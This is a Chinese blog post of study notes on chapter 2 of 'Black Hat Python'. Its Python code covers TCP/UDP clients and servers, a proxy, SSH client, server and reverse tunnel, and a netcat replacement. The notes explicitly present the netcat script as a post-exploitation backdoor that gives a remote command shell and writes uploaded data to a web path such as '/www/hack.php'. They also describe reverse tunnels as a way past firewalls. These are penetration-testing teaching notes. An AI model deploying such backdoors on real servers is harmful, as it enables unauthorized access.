TCP客户端

在渗透测试工程中,我们经常会遇到需要创建一个TCP客户端来连接网络、发送垃圾数据、进行模糊测试等任务的情况。但是所处环境不具备丰富的网络工具,下面是一个简单的TCP客户端

import socket

# 要连接目标的ip和端口
target_host = '127.0.0.1' # ip或者域名
target_port = 1111 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target_host, target_port))
client.send('hello'.encode('utf-8'))
response = client.recv(4096)
print(response)

TCP服务端

import socket
import threading server_ip = '0.0.0.0' # 用于监听的ip和端口
server_port = 1111 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((server_ip, server_port)) # 绑定ip端口
server.listen(5) # 允许最大tcp客户端连接数为5
print('TCP server start listen') def handle_client(socket_client):
request = socket_client.recv(1024)
print(request)
socket_client.send('ACK!'.encode('utf-8'))
socket_client.close() while True:
client, add_info = server.accept() # 接受tcp客户端的请求,开启client套接字用于和tcp客户端通信
print(f'handle{add_info}')
t = threading.Thread(target=handle_client, args=(client,))
t.start()

UDP

# 因为udp的特性虽然区分服务端与客户端 但是不用连接  这里只写下了 udp客户端的代码
import socket target_host = '127.0.0.1'
target_port = 2222 client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto('message'.encode('utf-8'), (target_host, target_port))
data, address = client.recvfrom(4096)
print(data)

recvfrom()返回(数据、连接信息)和 recv()只返回数据;sendto() 需要发送消息和地址、send只需要发送消息

因为tcp是需要连接的 udp是无状态不需要连接的,一般udp使用recvfrom和sendto() tcp使用 recv和send()

参数
socket.AF_INET 说明是标准ipv4地址或主机名
socket.SOCK_STREAM 流式socket , 当使用TCP时选择此参数
socket.SOCK_DGRAM 数据报式socket ,当使用UDP时选择此参数

模拟netcat

当我们通过漏洞进入一个服务器,并且服务器中安装了python------>通过下面的脚本给服务器开启一个端口 进行命令行交互、留后门、单条命令执行等功能

  • python xxxx.py -t "0.0.0.0" -p 1111 -l "True" -c "True" 开启1111端口进行监听 客户端连接后会与服务器产生一个交互的终端
  • python xxxx.py -t "0.0.0.0" -p 1111 -l "True" -u "/www/hack.php" 客户端连接后输入的数据会被写入到/www/hack.php
import sys
import socket
import threading
import subprocess
import optparse def usage():
parser.add_option("-l", "--listen", dest="listen", help="Is it a TCP server", type="str")
parser.add_option("-e", "--execute", dest="execute", default='', help="", type='str')
parser.add_option("-c", "--command", dest='command', help='create a new shell')
parser.add_option("-u", "--upload", dest='upload', default='', help='', type='str')
parser.add_option("-t", "--host", dest='host', help='host', type='str')
parser.add_option("-p", "--port", dest='port', help='port', type='int') def client_sender():
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))
# if len(buffer):
# client.send(buffer.encode('utf-8'))
while True:
rec_flag = 1
response = ''
while rec_flag:
data = client.recv(4096)
rec_flag = len(data)
response += data.decode('gbk')
if rec_flag < 4096:
break
print(response)
_buffer = sys.stdin.readline()
client.send(_buffer.encode('utf-8')) def run_execute():
global execute
execute = execute.strip()
output = subprocess.check_output(execute, stderr=subprocess.STDOUT, shell=True)
return output def client_handle(client_socket):
if len(upload_destination):
file_buffer = ''
while True:
data = client_socket.recv(4096)
rec_flag = len(data)
file_buffer += data.decode('utf-8')
if rec_flag < 4096:
break with open(upload_destination, 'w', encoding='utf-8') as fp:
fp.write(file_buffer) if command:
while True:
client_socket.send('please input:'.encode('utf-8'))
cmd_buf = ''
while '\n' not in cmd_buf:
data = client_socket.recv(4096)
cmd_buf += data.decode('utf-8')
response = subprocess.check_output(cmd_buf, stderr=subprocess.STDOUT, shell=True)
client_socket.send(response)
if len(execute):
output = run_execute()
client_socket.send(output) def server_loop():
global host
if not len(host):
host = '0.0.0.0'
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((host, port))
server.listen(5)
while True:
socket_client, addr = server.accept()
threading.Thread(target=client_handle, args=(socket_client,)).start() if __name__ == '__main__':
listen = False
command = False
parser = optparse.OptionParser()
usage()
option, args = parser.parse_args() # option是标明的参数 args是额外的参数
# 这里本应该做参数检查 此处省略
upload_destination = option.upload
execute = option.execute
host = option.host
port = option.port
if option.listen == 'True':
listen = True
if option.command == 'True':
command = True
if not listen:
# buffer = sys.stdin.readline() # 从命令行读取内容 ctrl+D结束输入
client_sender()
if listen:
server_loop()

TCP代理

下面几行代码只是演示代理的原理

本机的local_port为代理服务的端口 客户端连接本机的local_port 本机将客户端发送来的数据转发到远程主机remote_host,remote_port 然后将远程主机返回的信息转发给客户端

  • python xxx.py --host "0.0.0.0" --port 1111 --rhost "xxxx" --port 21 --receivef "True"
import sys
import socket
import optparse
import threading def proxy_handler(client_socket, remote_host, remote_port, receive):
remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote_socket.connect((remote_host, remote_port))
if receive:
print('wait remote')
remote_buffer = remote_socket.recv(4096)
client_socket.send(remote_buffer)
while True:
local_buffer = client_socket.recv(4096)
remote_socket.send(local_buffer)
remote_buffer = remote_socket.recv(4096)
client_socket.send(remote_buffer) def server_loop(local_host, local_port, remote_host, remote_port, receive):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((local_host, local_port))
print(f'Listening on {local_host}:{local_port}')
server.listen(5)
while True:
client_socket, addr = server.accept()
print(f'{addr}已连接')
threading.Thread(target=proxy_handler, args=(client_socket, remote_host, remote_port, receive)).start() def usage(parser):
parser.add_option("--host", dest="host")
parser.add_option("--port", dest="port", type='int')
parser.add_option("--rhost", dest="rhost")
parser.add_option("--rport", dest="rport", type='int')
parser.add_option("--receivef", dest='receive', help='在发给远程主机之前连接和接受数据') def main():
parser = optparse.OptionParser()
usage(parser)
option, args = parser.parse_args()
local_host = option.host
remote_host = option.rhost
local_port = option.port
remote_port = option.rport
receive = False
if option.receive == 'True':
receive = True
print(receive) server_loop(local_host, local_port, remote_host, remote_port, receive) if __name__ == '__main__':
main()

实现SSH客户端

import paramiko

def ssh_command(ip, port, user, passwd, command):
# 实例化ssh对象
client = paramiko.SSHClient()
# 秘钥认证方式
# client.load_host_keys('')
# 自动添加和保存服务器ssh秘钥
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 用户名密码认证方式
client.connect(ip, port, user, passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.exec_command(command)
print(ssh_session.recv(1024).decode('utf-8')) ssh_command("192.168.1.103", 22, "beginner", "beginner", "ifconfig")

SSH服务器端代码

import socket
import threading
import sys
import paramiko #ssh-keygen -t rsa -b 4096 生成ssh秘钥
host_key = paramiko.RSAKey(filename="私钥") class Server(paramiko.ServerInterface):
def __init__(self):
# 执行start_server()方法首先会触发Event,如果返回成功, is_active返回True
self.event = threading.Event def check_auth_password(self, username, password):
# 当is_active返回True,进入认证阶段
if username == 'beginner' and password == 'beginner':
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED def check_channel_request(self, kind, chanid):
# 当认证成功,client会请求打开一个Channel
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED # 命令接受ip与port
server = sys.argv[1]
port = int(sys.argv[2]) # 建立socket套接字
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# SOL_SOCKET 意思是正在使用的socket选项。
# SO_REUSEADDR 当socket关闭后,本地端用于该socket的端口号立刻就可以被重用
# 1 表示将SO_REUSEADDR标记为TRUE,操作系统会在服务器socket被关闭或服务器进程终止后马上释放该服务器的端口,否则操作系统会保留几分钟该端口。
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((server, port))
sock.listen(100)
print('[+] Listening for connection...')
client, addr = sock.accept()
except Exception as e:
print('[-] Listen failed!')
sys.exit(1)
print('[+] Got a connection!') try:
# 用sock.accept()返回的socket实例化Transport
bhSession = paramiko.Transport(client)
# 添加一个RSA密钥加密会话
bhSession.add_server_key(host_key)
server = Server()
try:
# 启动SSH服务端
bhSession.start_server(server=server)
except paramiko.SSHException as x:
print('[-] SSH negotiation failed.')
# 等待客户端开启通道,超时时间为20秒
chan = bhSession.accept(20) print('[+] Authenticated!')
print(chan.recv(1024).decode('utf-8'))
chan.send(b'welcome to bh_ssh')
while True:
try:
command = input("Enter command:").strip('\n')
if command != 'exit':
chan.send(command.encode("utf-8"))
print(chan.recv(1024).decode("utf-8")+'\n')
else:
chan.send(b'exit')
print('exiting.')
bhSession.close()
raise Exception('exit')
except KeyboardInterrupt:
bhSession.close()
except Exception as e:
print('[-] Caught exception:'+str(e))
try:
bhSession.close()
except:
pass
sys.exit(1)

SSH隧道(ssh端口转发)

SSH会自动加密和解密所有SSH客户端与服务端之间的网络数据。除此之外SSH还能够将其他TCP端口的网络数据通SSH链接来转发,并且自动提供了相应的加密及解密服务。

ssh端口转发种类

  • 本地转发

    B开启了ssh服务器可以被外部连接,C开启了FTP只允许本地连接,A可以连接B无法连接C

sh -L localport:remotehost:remotehostport sshserver

sh -L 1111:192.168.0.103:21 192.168.0.102

现在只需要访问127.0.0.1:21就可以连接ftp

localport 本地端口号
remotehost 远程服务器
remotehostport 远程服务器端口
sshserver ssh服务器ip
  • 远程转发(SSH反向隧道)

    企业中一般防火墙是只允许出不允许进,如果防火墙关闭了22端口我们无法本地转发,现在只能远程转发

    现在就是B连接A 然后A将需要发送的数据交给B B再交给C

    ssh -R sshserverport:remotehost:remotehostport sshserver

    sshserverport 被转发机器开放的端口
    remotehost 远程服务器
    remotehostport 远程服务器端口
    sshserver 需要被转发机器ip
  • 动态转发

    FQ~~~

关于ssh隧道的详解https://www.cnblogs.com/keerya/p/7612715.html

import getpass
import os
import socket
import select
import sys
import threading
from optparse import OptionParser import paramiko SSH_PORT = 22
DEFAULT_PORT = 4000 g_verbose = True def handler(chan, host, port):
sock = socket.socket()
try:
sock.connect((host, port))
except Exception as e:
verbose("Forwarding request to %s:%d failed: %r" % (host, port, e))
return verbose(
"Connected! Tunnel open %r -> %r -> %r"
% (chan.origin_addr, chan.getpeername(), (host, port))
)
while True:
r, w, x = select.select([sock, chan], [], [])
if sock in r:
data = sock.recv(1024)
if len(data) == 0:
break
chan.send(data)
if chan in r:
data = chan.recv(1024)
if len(data) == 0:
break
sock.send(data)
chan.close()
sock.close()
verbose("Tunnel closed from %r" % (chan.origin_addr,)) def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):
transport.request_port_forward("", server_port)
while True:
chan = transport.accept(1000)
if chan is None:
continue
thr = threading.Thread(
target=handler, args=(chan, remote_host, remote_port)
)
thr.setDaemon(True)
thr.start() def verbose(s):
if g_verbose:
print(s) HELP = """\
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
port on the SSH server (given with -p) is forwarded across an SSH session
back to the local machine, and out to a remote site reachable from this
network. This is similar to the openssh -R option.
""" def get_host_port(spec, default_port):
"parse 'hostname:22' into a host and port, with the port optional"
args = (spec.split(":", 1) + [default_port])[:2]
args[1] = int(args[1])
return args[0], args[1] def parse_options():
global g_verbose parser = OptionParser(
usage="usage: %prog [options] <ssh-server>[:<server-port>]",
version="%prog 1.0",
description=HELP,
)
parser.add_option(
"-q",
"--quiet",
action="store_false",
dest="verbose",
default=True,
help="squelch all informational output",
)
parser.add_option(
"-p",
"--remote-port",
action="store",
type="int",
dest="port",
default=DEFAULT_PORT,
help="port on server to forward (default: %d)" % DEFAULT_PORT,
)
parser.add_option(
"-u",
"--user",
action="store",
type="string",
dest="user",
default=getpass.getuser(),
help="username for SSH authentication (default: %s)"
% getpass.getuser(),
)
parser.add_option(
"-K",
"--key",
action="store",
type="string",
dest="keyfile",
default=None,
help="private key file to use for SSH authentication",
)
parser.add_option(
"",
"--no-key",
action="store_false",
dest="look_for_keys",
default=True,
help="don't look for or use a private key file",
)
parser.add_option(
"-P",
"--password",
action="store_true",
dest="readpass",
default=False,
help="read password (for key or password auth) from stdin",
)
parser.add_option(
"-r",
"--remote",
action="store",
type="string",
dest="remote",
default=None,
metavar="host:port",
help="remote host and port to forward to",
)
options, args = parser.parse_args() if len(args) != 1:
parser.error("Incorrect number of arguments.")
if options.remote is None:
parser.error("Remote address required (-r).") g_verbose = options.verbose
server_host, server_port = get_host_port(args[0], SSH_PORT)
remote_host, remote_port = get_host_port(options.remote, SSH_PORT)
return options, (server_host, server_port), (remote_host, remote_port) def main():
options, server, remote = parse_options() password = None
if options.readpass:
password = getpass.getpass("Enter SSH password: ") client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy()) verbose("Connecting to ssh host %s:%d ..." % (server[0], server[1]))
try:
client.connect(
server[0],
server[1],
username=options.user,
key_filename=options.keyfile,
look_for_keys=options.look_for_keys,
password=password,
)
except Exception as e:
print("*** Failed to connect to %s:%d: %r" % (server[0], server[1], e))
sys.exit(1) verbose(
"Now forwarding remote port %d to %s:%d ..."
% (options.port, remote[0], remote[1])
) try:
reverse_forward_tunnel(
options.port, remote[0], remote[1], client.get_transport()
)
except KeyboardInterrupt:
print("C-c: Port forwarding stopped.")
sys.exit(0) if __name__ == "__main__":
main()

python3 rforward.py ssh服务器ip -p 本地转接的端口 -r 远程ip:远程端口 --user 用于连接ssh服务的用户名 --password

python黑帽子(第二章)的更多相关文章

  1. PYTHON 黑帽子第二章总结

    基于python3编写 import sys, socket, getopt, threading, argparse, subprocess # globals options listen = F ...

  2. Python 黑帽子第二章运行截图

  3. 读书笔记 ~ Python黑帽子 黑客与渗透测试编程之道

    Python黑帽子  黑客与渗透测试编程之道   <<< 持续更新中>>> 第一章: 设置python 环境 1.python软件包管理工具安装 root@star ...

  4. 2017-2018-2 20179204 PYTHON黑帽子 黑客与渗透测试编程之道

    python代码见码云:20179204_gege 参考博客Python黑帽子--黑客与渗透测试编程之道.关于<Python黑帽子:黑客与渗透测试编程之道>的学习笔记 第2章 网络基础 t ...

  5. 《零压力学Python》 之 第二章知识点归纳

    第二章(数字)知识点归纳 要生成非常大的数字,最简单的办法是使用幂运算符,它由两个星号( ** )组成. 如: 在Python中,整数是绝对精确的,这意味着不管它多大,加上1后都将得到一个新的值.你将 ...

  6. python黑帽子(第五章)

    对开源CMS进行扫描 import os import queue import requests # 原书编写时间过于久远 现在有requests库对已经对原来的库进行封装 更容易调用 import ...

  7. python黑帽子(第四章)

    Scapy窃取ftp登录账号密码 sniff函数的参数 filter 过滤规则,默认是嗅探所有数据包,具体过滤规则与wireshark相同. iface 参数设置嗅探器索要嗅探的网卡,默认对所有的网卡 ...

  8. python黑帽子(第三章)

    Windows/Linux下包的嗅探 根据os.name判断操作系统 下面是os的源码 posix是Linux nt是Windows 在windows中需要管理员权限.linux中需要root权限 因 ...

  9. python基础教程-第二章-列表和元组

    本章将引入一个新的概念,:数据结构.数据结构是通过某种方式(例如对元素进行编号)组织在 一起的数据元素的集合,这些数据元素可以是数字或者字符,甚至可以是其他数据结构.在python中,最基本的数据结构 ...

随机推荐

  1. 突发!Gitee 图床,废了!

    大家好,我是鱼皮,这两天又发生了一件挺意外的事情:Gitee 的图床废了! 图床:指储存图片的服务器,便于在网上展示图片 昨天晚上,星球里不止一位小伙伴发帖子表示自己网站.文章中的图片竟然全部变成了 ...

  2. 12.9 Override

    12.9 Override 静态方法 父类的引用可以指向子类静态方法(用static修饰的方法)的调用只和左边定义的数据类型有关,如: public class Person { public sta ...

  3. TypeScript编译tsconfig.json配置

    配置预览 { "include": ["src/**/*"], "exclude": ["ndoe_modules", ...

  4. 序列化与反序列化、def的介绍与快速使用、cbv源码分析、APIView与request对象分析

    今日内容概要 序列化与反序列化 def介绍和快速使用 cbv源码流程分析 drf之APIView和Request对象分析 内容详细 1.序列化和反序列化 # api接口开发 最核心最常见的一个过程就是 ...

  5. Idea集成CSSO插件压缩css文件

    首先需要本地已安装node环境,并且csso-cli已通过npm安装到本地目录,只要能找到就行. 1. 打开Settings配置,确认图中的 File Watchers 插件是否已存在,如果不存在,去 ...

  6. mybatis的TypeHandler 的使用

    今天看了别人的mybatis的教学视频,自己手写了一个简单的自定义的TypeHandler,有些细节记录一下. 1.定义自己的TypeHandler,代码如下: package com.example ...

  7. 修改openstack Centos镜像的默认用户的密码

    Ubuntu官方提供的OpenStack镜像是用Key来登录的,太麻烦,可以改成用密码来登录. 修改image的工具叫:guestfish. yum install libguestfs-tools ...

  8. 一道关于压缩包的ctf题目(包括暴力破解,明文攻击,伪加密)

    关于题目附件 链接:https://pan.baidu.com/s/1PRshlizSndkgxkslnqJrHA 提取码:p76e zip三连击 下载附件得到题目 手机号码一般是11位,那么我们设置 ...

  9. 2022首场MASA技术团队黑客松赛事大赛完美落幕!精彩集锦

    Masa技术团队在2021年创立,这一年我们团队发布了我们第一个产品,Masa Blazor.登上了.NET Conf China,我们承诺,开源我们的产品,为开源社区增砖加瓦,一路上收获技术社区文章 ...

  10. javascript入门教程(二):变量

    大家好,我从今天开始就会正式讲javascript的语法方面.变量 js中的变量一般使用var来声明(es6的let不在本教程讨论范围内),可以用来定义任何种类的变量,如果只对变量进行了定义而没有赋值 ...